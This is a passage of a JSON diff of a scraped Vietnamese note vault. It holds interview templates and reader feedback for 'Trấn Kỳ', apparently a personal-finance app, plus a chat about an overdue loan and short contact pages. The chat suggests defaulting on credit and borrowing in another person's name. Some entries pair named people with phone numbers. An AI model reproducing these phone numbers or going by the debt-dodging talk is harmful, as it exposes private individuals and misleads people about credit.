Điều gì khiến họ chưa tìm hiểu về nó?\r\n- Họ mong chờ gì ở Trấn Kỳ?\r\n\r\n# Quan sát việc sử dụng Trấn Kỳ\r\n- Điều gì ở Trấn Kỳ gây ấn tượng với họ?\r\n- Họ thấy chân trang thế nào?\r\n- Link nào ở chân trang làm họ quan tâm?\r\n- Họ thấy các bài viết như thế nào?\r\n- Có điều gì ở Trấn Kỳ làm họ muốn kể cho người khác không? Nếu không thì vì sao?\r\n- Có suy nghĩ nào của họ được thay đổi sau khi dùng thử Trấn Kỳ không? Nếu không thì vì sao?\r\n\r\n# Trò chuyện thêm\r\n- Mức độ sẵn sàng chia sẻ ghi chú này\r\n - Có muốn đọc bản ghi chú này không?\r\n- Sở thích \r\n- Lý do chọn công việc hiện tại\r\n- Nhu cầu, ưu tiên, dự định trong cuộc sống\r\n\r\n[[Mục tiêu và câu hỏi nghiên cứu người đọc các bài về Trấn Kỳ]]\r\n", + "Toàn bộ nội dung": "Khái niệm:: \nkhoản vay bên đối tác moenyveo đã trễ hạn, tổng tiền 1,304,600 hôm nay cần xử lí trước 16h để tránh chuyển hs sang đối tác liên hệ nhắn nợ về người thân và công ty phản hồi để được hỗ trợ\n\ngiờ giả sử như hết sạch nợ thì em cần vay bao nhiêu để làm ăn?\nKendy: thôi a, xong nợ đã\ncòn số bao nhiêu để biz thì fai nhìn vào goal vs plan của biz chứ ko nói xuông đc a\nko vay bừa đâu a\ne biết sức nặng của lãi nên ko thể nói miệng hay random đc\nOoker: vì đằng nào cũng đang lên kế hoạch kiếm lãi cho em. Nên thôi thì xù tín dụng đi rồi kiếm lãi từ cái này\nngân hàng thì chắc phải qua anh đứng tên\nKendy: a xù rồi nó classify a nợ xấu 5 năm thì bank nào duyệt cho a\nOoker: anh có xù đâu, em xù mà?\nanh đứng tên vay rồi đưa lại em thôi\nKendy: a cũng chỉ vay đc vài lần và chưa chắc đủ hạn mức cao ko\nOoker: thì mới cần biết là cần vay bao nhiêu để xét mình cần mức hạn mức nào\nKendy: e chỉ giả thiết thôi ha, a vay bằng tín chấp, e ko rõ, nhưng thế chấp, thì hiện theo thông tin e thấy nhà hiện tại cũng ko có sổ thì how to vay thế chấp, với lại ko fai vay 1 lần đâu a\nOoker: thì mới cần biết là cần vay bao nhiêu\nKendy: a ko hiểu rồi, ko fai vay 1 cục đâu, vì lãi tính trên tổng\nnên chie vay theo từng chu kì cần\nnhư tổng cần 5 tỷ, a ko dại vay all 5 tỷ đâu mà chia ra\nOoker: kinh doanh gì mới cần tới cả 5 tỷ lận?\nKendy: giả sử\nnó ko fai vốn cố định đâu, ví dụ a cần 1 tỷ thì a fai cầm 3 tỷ để xoay dòng tiền\nA làm 1 ổ bánh mì hết 10đ date 1, a gửi đại lý, đại lý bán hết 7 date, rồi chuyển tiền về mất 2 date thì tổng: 10đ + lãi quay về cần tới 10 date, nghĩa là 9 date trừ ngày 1st, a vẫn tiếp tục phải có 10đ tiếp đề xoay đủ vòng vốn\n1st date 10đ vốn, 2nd date 10đ vốn tiếp (mẻ thứ 2) ….10th date 10đ vốn thì a thấy đó tuy chỉ có 10đ chi phí sản xuất nhưng a cần x10 dòng tiền = 100đ để vận hành\nchứ ko thì a chỉ sản xuất được mỗi 1st date, còn các date khác 2nd, 3rd, → 10th đều bị ứ động nếu ko có dòng tiền sẵn\ntrên là trường hợp lý tưởng, là đúng 10 ngày tiền vốn sẽ quay về lại, nhưng thực tế ko fai vậy luôn luôn là trục trặc: ex đại lý cần 30 ngày mới bán được, đại lý cần nợ tiền hàng vài thángg, ship trễ hàng, tiền bị nghẽn …. thì nếu a ko có dòng tiền backup, a chết ngay\nnó cực kì biến động, nên cái trên e ex 2 tỷ cần 5 tỷ nhanh vì e cầm đt chứ thực chất nó phải tính từ dòng tiền như trên meaning, bao lâu thì tiền gốc sẽ về lại tay mình\nKendy: a chuyển 10đ đi, thì bao lâu tiền về tay a\nnên ko fai biz là tiền hàng only ko a, a mua hàng 100tr, nhưng để 100tr này về nó là 1 process rất bự và ko fai chỉ con số 100tr là số cuối cần\n\n\nNgân hàng cũng chẳng muốn lấy nhà, xã hội đen cũng chẳng muốn giết, chỉ hù thôi chứ nếu biết nói chuyện thì họ cũng nương. Xã hội đen dễ chơi hơn ngân hàng. Khi thoả thuận thì lập giấy\n\nnên nói chuyện với ngân hàng\ncần biết cụ thể mỗi tháng bao nhiêu lãi. Khó khăn: \n- khi đang bị áp lực trả nợ thì cũng không có thời gian để nói cho người khác biết tình hình nợ của mình \n- không muốn cho người khác biết tình hình nợ vì sợ bị nghĩ là mình vòi tiền\n[[Điểm tín dụng (CIC) là cách để các ngân hàng đánh giá khả năng trả nợ của mình]]\n\n[[Vay nóng nếu không trả sẽ bị bêu xấu với mọi người]]\n[[Xù nợ]]\n\n[[Có những người dù thực sự thấy không có khả năng trả nợ vẫn chấp nhận vay app đen còn hơn mất điểm tín dụng]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày tạo": "2024-08-31T06:30:00.000Z", + "Ngày cập nhật": "2024-08-31T06:33:00.000Z", "id": "4Q" }, { - "Tiêu đề": "Câu hỏi phỏng vấn", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Sự tiếp nhận với các bài viết/Câu hỏi phỏng vấn", + "Tiêu đề": "Hồng Thị Tuyết Nhi", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Người chơi/Hồng Thị Tuyết Nhi", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", + "Tên dự án": "Người chơi", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Tiếp nhận khi đọc Giới thiệu Trấn Kỳ\r\n## Bạn đã biết tới bài này thế nào?\r\n## Điều gì khiến bạn quyết định bấm vào đọc?\r\n## Bạn thấy tiêu đề thế nào?\r\n## Bạn đã đọc như thế nào?\r\n## Bạn hiểu bài này nói về cái gì?\r\n## Bạn đánh giá thế nào về những điều bài này nói?\r\n- [ ] Thấy nó giúp tiết kiệm thời gian của mình?\r\n## Điều gì khiến bạn thấy ấn tượng nhất? \r\n## Bạn ngừng đọc ở đâu?\r\n## Vì sao bạn ngừng đọc?\r\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\r\n## Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc Lấy code\r\n## Bạn đã biết tới bài này thế nào?\r\n## Điều gì khiến bạn quyết định bấm vào đọc?\r\n## Bạn thấy tiêu đề thế nào?\r\n## Bạn đã đọc như thế nào?\r\n## Bạn hiểu bài này nói về cái gì?\r\n## Bạn đánh giá thế nào về những điều bài này nói?\r\n- [ ] Thấy việc mình được định giá sản phẩm là thú vị, chưa thấy ai làm?\r\n- [ ] Thấy việc mình được định giá sản phẩm là thực sự nghĩ cho mình?\r\n- [ ] Thấy nút \"thú vị\" thú vị đủ để bấm vô tiếp?\r\n## Điều gì khiến bạn thấy ấn tượng nhất? \r\n## Bạn ngừng đọc ở đâu?\r\n## Vì sao bạn ngừng đọc?\r\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\r\n## Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc [[Lời mời xây dựng một startup để làm những việc một người bạn sẽ làm]]\r\n## Bạn đã biết tới bài này thế nào?\r\n## Điều gì khiến bạn quyết định bấm vào đọc?\r\n## Bạn thấy tiêu đề thế nào?\r\n## Bạn đã đọc như thế nào?\r\n## Bạn hiểu bài này nói về cái gì?\r\n## Bạn đánh giá thế nào về những điều bài này nói?\r\n- [ ] Hiểu được ý tưởng?\r\n- [ ] Thấy ý tưởng này là một thứ có ý nghĩa?\r\n- [ ] Thấy ý tưởng này kích thích những thử thách, giúp ứng dụng những kỹ năng mình có trong môi trường mới?\r\n- [ ] Thấy tò mò với những kế hoạch?\r\n- [ ] Thấy việc tham gia đáp ứng được những nhu cầu lớn trước mắt mình?\r\n- [ ] Việc chuyển qua website khác không làm bạn thấy có vấn đề?\r\n- [ ] Thấy ý tưởng này là một giải pháp cho những vấn đề tiền không đáp ứng được?\r\n## Điều gì khiến bạn thấy ấn tượng nhất? \r\n## Bạn ngừng đọc ở đâu?\r\n## Vì sao bạn ngừng đọc?\r\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\r\n## Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc [[Lý do viết Trấn Kỳ]]\r\n## Bạn đã biết tới bài này thế nào?\r\n## Điều gì khiến bạn quyết định bấm vào đọc?\r\n## Bạn thấy tiêu đề thế nào?\r\n## Bạn đã đọc như thế nào?\r\n## Bạn hiểu bài này nói về cái gì?\r\n## Bạn đánh giá thế nào về những điều bài này nói?\r\n- [ ] Hiểu được sự khác biệt giữa Trấn Kỳ với các phần mềm quản lý thu chi cá nhân khác?\r\n- [ ] Hiểu rằng mình đang đòi hỏi những thứ mà các phần mềm no code không đáp ứng được?\r\n- [ ] Hiểu được rằng AI không ứng dụng được trong trường hợp này?\r\n- [ ] Sẵn sàng học lập trình nếu có người hướng dẫn, hoặc chấp nhận thuê?\r\n## Điều gì khiến bạn thấy ấn tượng nhất? \r\n## Bạn ngừng đọc ở đâu?\r\n## Vì sao bạn ngừng đọc?\r\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\r\n## Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc [[Mô hình kinh doanh Trấn Kỳ]]\r\n## Bạn đã biết tới bài này thế nào?\r\n## Điều gì khiến bạn quyết định bấm vào đọc?\r\n## Bạn thấy tiêu đề thế nào?\r\n## Bạn đã đọc như thế nào?\r\n## Bạn hiểu bài này nói về cái gì?\r\n## Bạn đánh giá thế nào về những điều bài này nói?\r\n- [ ] Thấy rằng đây là một giải pháp cho những vấn đề tiền không đáp ứng được?\r\n## Điều gì khiến bạn thấy ấn tượng nhất? \r\n## Bạn ngừng đọc ở đâu?\r\n## Vì sao bạn ngừng đọc?\r\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\r\n## Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]]\r\n## Bạn đã biết tới bài này thế nào?\r\n## Điều gì khiến bạn quyết định bấm vào đọc?\r\n## Bạn thấy tiêu đề thế nào?\r\n## Bạn đã đọc như thế nào?\r\n## Bạn hiểu bài này nói về cái gì?\r\n## Bạn đánh giá thế nào về những điều bài này nói?\r\n- [ ] Hiểu được điều mình có thể có ở đây?\r\n- [ ] Chủ động nhắn tin?\r\n## Điều gì khiến bạn thấy ấn tượng nhất? \r\n## Bạn ngừng đọc ở đâu?\r\n## Vì sao bạn ngừng đọc?\r\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\r\n## Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc Hướng dẫn sử dụng\r\n## Bạn đã biết tới bài này thế nào?\r\n## Điều gì khiến bạn quyết định bấm vào đọc?\r\n## Bạn thấy tiêu đề thế nào?\r\n## Bạn đã đọc như thế nào?\r\n## Bạn hiểu bài này nói về cái gì?\r\n## Bạn đánh giá thế nào về những điều bài này nói?\r\n- [ ] Thực sự muốn hướng dẫn mình học chứ không che dấu gì cả?\r\n## Điều gì khiến bạn thấy ấn tượng nhất? \r\n## Bạn ngừng đọc ở đâu?\r\n## Vì sao bạn ngừng đọc?\r\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\r\n## Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\r\n", + "Toàn bộ nội dung": "SĐT:: 0336 408 666", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày tạo": "2024-08-27T10:00:00.000Z", + "Ngày cập nhật": "2024-08-28T07:10:00.000Z", "id": "4R" }, { - "Tiêu đề": "Duy Phong", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Sự tiếp nhận với các bài viết/Kết quả/Duy Phong", + "Tiêu đề": "Nguyễn Hữu Lộc", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Người chơi/Nguyễn Hữu Lộc", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { - "Tên dự án": "Trấn Kỳ", + "Tên dự án": "Người chơi", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "# Tiếp nhận khi đọc Giới thiệu Trấn Kỳ\r\n## Bạn đã biết tới bài này thế nào?\r\n## Điều gì khiến bạn quyết định bấm vào đọc?\r\n## Bạn thấy tiêu đề thế nào?\r\n## Bạn đã đọc như thế nào?\r\n## Bạn hiểu bài này nói về cái gì?\r\n## Bạn đánh giá thế nào về những điều bài này nói?\r\nđi chợ thì cũng nên có ai đó gợi ý hành vi của mình, hoặc có đếm lùi bao lâu thì hết hạn. Mỗi lần tiêu thụ thì tự gạch một lần\r\n\r\nKhông tin là khai báo dữ liệu vì thấy nó lý tưởng quá\r\n\r\nLúc đó không có kendy\r\nnhìn mô hình hoạt động\r\nđọc một cái gì đó trên fb.\r\n\r\nexpect của người làm từ thiện thì ko mong nhận lại\r\n\r\nchưa đọc về tính năng, lúc nào cần kỹ thì mới phải mở lại\r\ndùng app note kéo xuống hơi khó chịu\r\nghi chú, hướng dẫn \r\n\r\nkhông muốn ý tưởng bị chia nhỏ\r\nquên hoặc ko rõ các database có những trường hợp nào\r\n\r\nnhững cái nút nào ở cuối thì nên giữ nguyên\r\n- [ ] Thấy nó giúp tiết kiệm thời gian của mình?\r\n## Điều gì khiến bạn thấy ấn tượng nhất? \r\n## Bạn ngừng đọc ở đâu?\r\n## Vì sao bạn ngừng đọc?\r\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\r\n## Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc Lấy code\r\n## Bạn đã biết tới bài này thế nào?\r\n## Điều gì khiến bạn quyết định bấm vào đọc?\r\n## Bạn thấy tiêu đề thế nào?\r\n## Bạn đã đọc như thế nào?\r\nko quan tâm đến Kendy. Gặp khó khăn về định giá\r\nNếu nó giúp tiết kiệm \r\n\r\nĐập thẳng vào mắt, không dùng chiêu trò gây cảm xúc. không hình dung được thế giới mà tiền bạc ko phải là vấn đề. Thường muốn chi một thể chứ không muốn chi từng ngày. Nghĩ là họ phải có sự kiểm soát\r\nluôn luôn nghĩ về tiền rất khó chịu\r\nđược quyền nghĩ là mình có thể ra giá 100k thì thấy rất sỉ nhục. Nghĩ thì thấy là hay, nhưng không có điều kiện nghĩ. Lấy ví dụ cách định nghĩa để mọi người nghĩ\r\n## Bạn hiểu bài này nói về cái gì?\r\n## Bạn đánh giá thế nào về những điều bài này nói?\r\n- [ ] Thấy việc mình được định giá sản phẩm là thú vị, chưa thấy ai làm?\r\n- [ ] Thấy việc mình được định giá sản phẩm là thực sự nghĩ cho mình?\r\n- [ ] Thấy nút \"thú vị\" thú vị đủ để bấm vô tiếp?\r\n## Điều gì khiến bạn thấy ấn tượng nhất? \r\n## Bạn ngừng đọc ở đâu?\r\n## Vì sao bạn ngừng đọc?\r\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\r\n## Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc [[Lời mời xây dựng một startup để làm những việc một người bạn sẽ làm]]\r\n## Bạn đã biết tới bài này thế nào?\r\n## Điều gì khiến bạn quyết định bấm vào đọc?\r\n## Bạn thấy tiêu đề thế nào?\r\n## Bạn đã đọc như thế nào?\r\n## Bạn hiểu bài này nói về cái gì?\r\nko có thời gian để tham gia vào \r\nthấy chi tiết nhưng khi đọc kỹ thì lại thấy không rõ ràng đủ để chi tiết\r\ncó một cái nhỏ thì thấy giúp dễ hơn\r\n## Bạn đánh giá thế nào về những điều bài này nói?\r\n- [ ] Hiểu được ý tưởng?\r\n- [ ] Thấy ý tưởng này là một thứ có ý nghĩa?\r\n- [ ] Thấy ý tưởng này kích thích những thử thách, giúp ứng dụng những kỹ năng mình có trong môi trường mới?\r\n- [ ] Thấy tò mò với những kế hoạch?\r\n- [ ] Thấy việc tham gia đáp ứng được những nhu cầu lớn trước mắt mình?\r\n- [ ] Việc chuyển qua website khác không làm bạn thấy có vấn đề?\r\n- [ ] Thấy ý tưởng này là một giải pháp cho những vấn đề tiền không đáp ứng được?\r\n## Điều gì khiến bạn thấy ấn tượng nhất? \r\n## Bạn ngừng đọc ở đâu?\r\n## Vì sao bạn ngừng đọc?\r\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\r\n## Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc [[Lý do viết Trấn Kỳ]]\r\n## Bạn đã biết tới bài này thế nào?\r\n## Điều gì khiến bạn quyết định bấm vào đọc?\r\n## Bạn thấy tiêu đề thế nào?\r\n## Bạn đã đọc như thế nào?\r\n## Bạn hiểu bài này nói về cái gì?\r\n## Bạn đánh giá thế nào về những điều bài này nói?\r\n- [ ] Hiểu được sự khác biệt giữa Trấn Kỳ với các phần mềm quản lý thu chi cá nhân khác?\r\n- [ ] Hiểu rằng mình đang đòi hỏi những thứ mà các phần mềm no code không đáp ứng được?\r\n- [ ] Hiểu được rằng AI không ứng dụng được trong trường hợp này?\r\n- [ ] Sẵn sàng học lập trình nếu có người hướng dẫn, hoặc chấp nhận thuê?\r\n## Điều gì khiến bạn thấy ấn tượng nhất? \r\n## Bạn ngừng đọc ở đâu?\r\n## Vì sao bạn ngừng đọc?\r\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\r\n## Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc [[Mô hình kinh doanh Trấn Kỳ]]\r\n## Bạn đã biết tới bài này thế nào?\r\n## Điều gì khiến bạn quyết định bấm vào đọc?\r\n## Bạn thấy tiêu đề thế nào?\r\n## Bạn đã đọc như thế nào?\r\n## Bạn hiểu bài này nói về cái gì?\r\n## Bạn đánh giá thế nào về những điều bài này nói?\r\n- [ ] Thấy rằng đây là một giải pháp cho những vấn đề tiền không đáp ứng được?\r\n## Điều gì khiến bạn thấy ấn tượng nhất? \r\n## Bạn ngừng đọc ở đâu?\r\n## Vì sao bạn ngừng đọc?\r\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\r\n## Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]]\r\n## Bạn đã biết tới bài này thế nào?\r\n## Điều gì khiến bạn quyết định bấm vào đọc?\r\n## Bạn thấy tiêu đề thế nào?\r\n## Bạn đã đọc như thế nào?\r\n## Bạn hiểu bài này nói về cái gì?\r\n## Bạn đánh giá thế nào về những điều bài này nói?\r\nsau năm 4 thì sẽ thành top priority. Chưa thấy có cái nào khá ấn tượng với mình. \r\ntự động hoá thì cao. Thấy vẫn là nặng\r\n\r\nnhững cái to lớn thì mới sắp xếp vào\r\n\r\ncảm giác mới chỉ là một cái kế hoạch\r\n- [ ] Hiểu được điều mình có thể có ở đây?\r\n- [ ] Chủ động nhắn tin?\r\n## Điều gì khiến bạn thấy ấn tượng nhất? \r\n## Bạn ngừng đọc ở đâu?\r\n## Vì sao bạn ngừng đọc?\r\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\r\n## Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc Hướng dẫn sử dụng\r\n## Bạn đã biết tới bài này thế nào?\r\n## Điều gì khiến bạn quyết định bấm vào đọc?\r\n## Bạn thấy tiêu đề thế nào?\r\n## Bạn đã đọc như thế nào?\r\n## Bạn hiểu bài này nói về cái gì?\r\n## Bạn đánh giá thế nào về những điều bài này nói?\r\n- [ ] Thực sự muốn hướng dẫn mình học chứ không che dấu gì cả?\r\n## Điều gì khiến bạn thấy ấn tượng nhất? \r\n## Bạn ngừng đọc ở đâu?\r\n## Vì sao bạn ngừng đọc?\r\n## Bạn nghĩ ai là người sẽ quan tâm bài này?\r\n## Vì sao bạn chưa chia sẻ bài này đến cho những người đó?\r\n\r\n\r\nthích chia sẻ workflow. Nếu có workflow thì sẽ thuyết phục được mọi người đổi\r\ntìm hiểu về IT là phải tìm hiểu về workflow \r\n", + "Mô tả bài đăng": "0783865410", + "Toàn bộ nội dung": "SĐT:: 0783865410\n\n- [[Bảo hiểm nhân thọ|Tặng bảo hiểm nhân thọ]]\n\n## Dịch vụ\n| Dịch vụ | Phí | Ghi chú |\n| ------------------------------------------------------------------------------------------ | --------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------- |\n| Đăng ký vay | 5% | Không cần cọc hay trả trước. Cam kết thấp hơn tất cả các bên khác (nếu bên khác nhận thấp hơn và giải ngân thành công) |\n| Mở thẻ tín dụng (sắp có) | 15% | nt | \n| Rút tiền thẻ tín dụng |
  • MASTER CARD, JCB, VISA: 1.5%
  • NAPAS: 1.2%
  • | |\n| Thuê máy cà thẻ | 250k/tháng | |\n| Giải pháp thanh toán mã QR, quản lý bán hàng tăng thêm doanh thu, loa thông báo thanh toán | Miễn phí | |\n\n## Bán\n| Món đồ | Giá | Ghi chú |\n| ---------------------------------- | ---- | ---------------------- |\n| Màn hình 27 inch 2k | 2tr5 | |\n| Laptop i3 SSD 4 GB | 2tr5 | |\n| Giấy dán tường PVC 10 × 0.45 m | 90k | Mua trên 10c |\n| Tất cả hàng tạp hóa, bán lẻ giá sỉ | | VD: Hảo Hảo 112k/thùng |", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày tạo": "2024-08-22T12:15:00.000Z", + "Ngày cập nhật": "2024-08-22T15:15:00.000Z", "id": "4S" }, { - "Tiêu đề": "Hải Yến", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Sự tiếp nhận với các bài viết/Kết quả/Hải Yến", + "Tiêu đề": "Chương trình quản lý chi tiêu cá nhân", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Chương trình quản lý chi tiêu cá nhân", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "bấm vào bài lời mời vì tò mò\r\n→ để ý tới nghiên cứu người dùng vì mình là người dùng\r\n→ ko nghĩ là giả thiết hoặc thành quả mong muốn con số thật\r\n→ phân loại chi tiêu: hiểu là ko phải nhập tay, chỉ là cơ bản thôi rồi nó sẽ lọc ra cho mình\r\n→ đọc thấy cái bảng là thấy đủ hiểu\r\n→ thoát\r\n\r\ncần biết tác dụng của nó và quy trình, report cuối tháng\r\n\r\n\r\ncon số ko ấn tượng, ko ý nghĩa\r\n\r\nbài tổng quan \r\n\r\ntính là có deadline, muốn biết là \r\n\r\ntôi đã nghiên cứu nó trong khoảng thời igan nào, chi phí để phát triển nó là bao nhiêu, được phản hồi ngay lúc đó luôn\r\n\r\nthảo luận thế nào là đủ sâu, thế nào là bao quét, các nghiên cứu về tư duy google đc mà\r\nko có con số gì cả\r\nsự tự tin, bộ vậy trước giờ tôi ko tự tin à\r\nthấy nút ko thuyết phục nên ko bấm vào\r\n\r\nkiếm tiền là điều hiển nhiên, vô vị là dùng tiền vào việc khác\r\n90 hoặc 99% là giải quyết bằng tiền\r\nko phải ai cũng thấy việc kiếm tiền là vô vị. Công việc rất áp lực nhưng cũng rất happy\r\nCó nhiều hoạt động cộng đồng cho sự thú vị nhanh, tức thời hơn là cái startup này. VD: từ thiện, thăm trại trẻ mồ côi\r\n\r\nnhiều nguồn doanh thu là bao nhiêu. 5 có thể nhiều, 200 cũng có thể là ít\r\nngười rất bận rộn không biết mình tiết kiệm bao nhiêu tiền mỗi tháng\r\n\r\nđáng tin là số người trong bao lâu\r\n\r\nlàm slide để thuyết phục 5 người thì hay hơn là làm web rồi đi hỏi từng người\r\n\r\nhiểu cảm giác của người làm startup, quá hiểu nó có vấn đề gì\r\ncó 2 website trước rồi cũng bỏ, tên miền ko hợp, giao diện ko ok. Web đc khen là đẹp, logo . Thấy anh có vấn đề gì, thấy mà ko nói gì thì cắn rứt\r\n\r\nhiện tại thấy hay vì có khả năng gõ tắt, dùng mấy app kia thấy nhập mất thời gian và hay quên \r\nđủ nghiêm khắc với mình, VD cần đạt mục tiêu để tiết kiệm để cuối năm làm gì đó\r\nhiện tại ko cần quá chi \r\nchiết tính: chi phí ko cố định, đến hôm khascch dùng thì giá cao hơn \r\nnền tảng dành riêng cho du lịch: tourwell, nhanh.vn. Chưa dùng vì khách chưa nhiều\r\n[Elena Viet Nam Travel - Elena Viet Nam Travel](https://elenavietnamtravel.com/ \"Elena Viet Nam Travel - Elena Viet Nam Travel\")\r\nsẵn sàng bỏ nhiều tiền nhưng nó ko giải quyết đc vấn dề . Hiệu quả ở mức nào\r\ntiết kiệm thời gian\r\ncần con số chính xác: xe bao nhiêu tiền, ăn uống\r\ntổng hợp ra để báo giá \r\n- ks,\r\n- hdv,\r\n- xe,\r\n- vé,\r\n- ăn uống\r\n# Hành vi phân loại\r\n## Bạn có thể phân loại mẫu được không?\r\n## Trong tháng vừa qua bạn đã phân loại dữ liệu bao nhiêu lần?\r\n## Mỗi lần phân loại bạn tốn bao nhiêu thời gian?\r\n## Bạn thường phải phân loại những gì?\r\n## Bao lâu bạn phân loại một lần?\r\n## Mỗi lần phân loại tốn bao nhiêu thời gian?\r\n## Sau khi phân loại xong thì bạn làm những gì tiếp theo?\r\n## Có lúc nào bạn không phân loại không? Tại sao?\r\n# Giá trị của việc phân loại\r\n## Việc phân loại giúp ích được những gì cho bạn?\r\n## Thứ bạn có được sau khi phân loại xong giúp ích được những gì cho bạn?\r\n## Nếu không phải tốn thời gian cho việc phân loại thì bạn sẽ làm gì?\r\n## Bạn cảm thấy như thế nào vào lúc phải phân loại?\r\n\r\n# Giải pháp phân loại tự động\r\n## Bạn có bao giờ nghĩ giá như có một giải pháp giúp tự động hoá những chuyện này không?\r\n## Bạn có nghĩ giải pháp đó là đơn giản không?\r\n## Theo bạn tại sao bạn chưa có giải pháp đó?\r\n## Bạn nghĩ rằng giải pháp cho bạn nên là như thế nào?\r\n## Nếu là AI thì sao?\r\n## Bạn nghĩ giá của nó nên như thế nào?\r\n## Giả sử như bây giờ bạn đã có giải pháp đó luôn rồi, thì bạn có dành thời gian để áp dụng nó ngay không?\r\n### Điều gì quan trọng hơn cả việc đấy?\r\n", + "Toàn bộ nội dung": "Tính năng: `=[[Chương trình quản lý chi tiêu cá nhân từ Trấn Kỳ]].tính-năng`\r\n\r\nBài chi tiết:\r\n```dataview\r\nLIST\r\nFROM \"📐 Dự án/Trấn Kỳ/Chương trình quản lý chi tiêu cá nhân\" \r\nWHERE file.name != this.file.name\r\n```\r\n\r\n\r\n\r\nLink: https://www.figma.com/design/9M7qILhSJRZKvKvJf9pYpG/Slide\r\n\r\n\r\n\r\nLink: https://www.figma.com/design/AvWYdwVsMzPJzrvZzvz76h/Untitled\r\n\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-07-28T09:43:00.000Z", + "Ngày cập nhật": "2024-08-01T13:27:00.000Z", "id": "4T" }, { - "Tiêu đề": "Mục tiêu và câu hỏi nghiên cứu người đọc các bài về Trấn Kỳ", - "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Người dùng/Người dùng cá nhân/Sự tiếp nhận với các bài viết/Mục tiêu và câu hỏi nghiên cứu người đọc các bài về Trấn Kỳ", + "Tiêu đề": "Tiềm năng thị trường", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Chương trình quản lý chi tiêu cá nhân/Tiềm năng thị trường", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Giả thiết về tiếp nhận của người đọc]]\r\n[[Một số ví dụ về mục tiêu nghiên cứu]]\r\n\r\n# Tiếp nhận khi đọc Giới thiệu Trấn Kỳ\r\n- Họ đã biết tới bài này thế nào?\r\n- Điều gì khiến họ quyết định bấm vào đọc?\r\n- Họ thấy tiêu đề thế nào?\r\n- Họ đã đọc như thế nào?\r\n- Họ hiểu bài này nói về cái gì?\r\n- Họ đánh giá thế nào về những điều bài này nói?\r\n\t- [ ] Thấy nó giúp tiết kiệm thời gian của mình?\r\n- Điều gì khiến họ thấy ấn tượng nhất? \r\n- Họ ngừng đọc ở đâu?\r\n- Vì sao họ ngừng đọc?\r\n- Họ nghĩ ai là người sẽ quan tâm bài này?\r\n- Vì sao họ chưa chia sẻ bài này đến cho những người đó?\r\n# Tiếp nhận khi đọc Lấy code\r\n- Họ đã biết tới bài này thế nào?\r\n- Điều gì khiến họ quyết định bấm vào 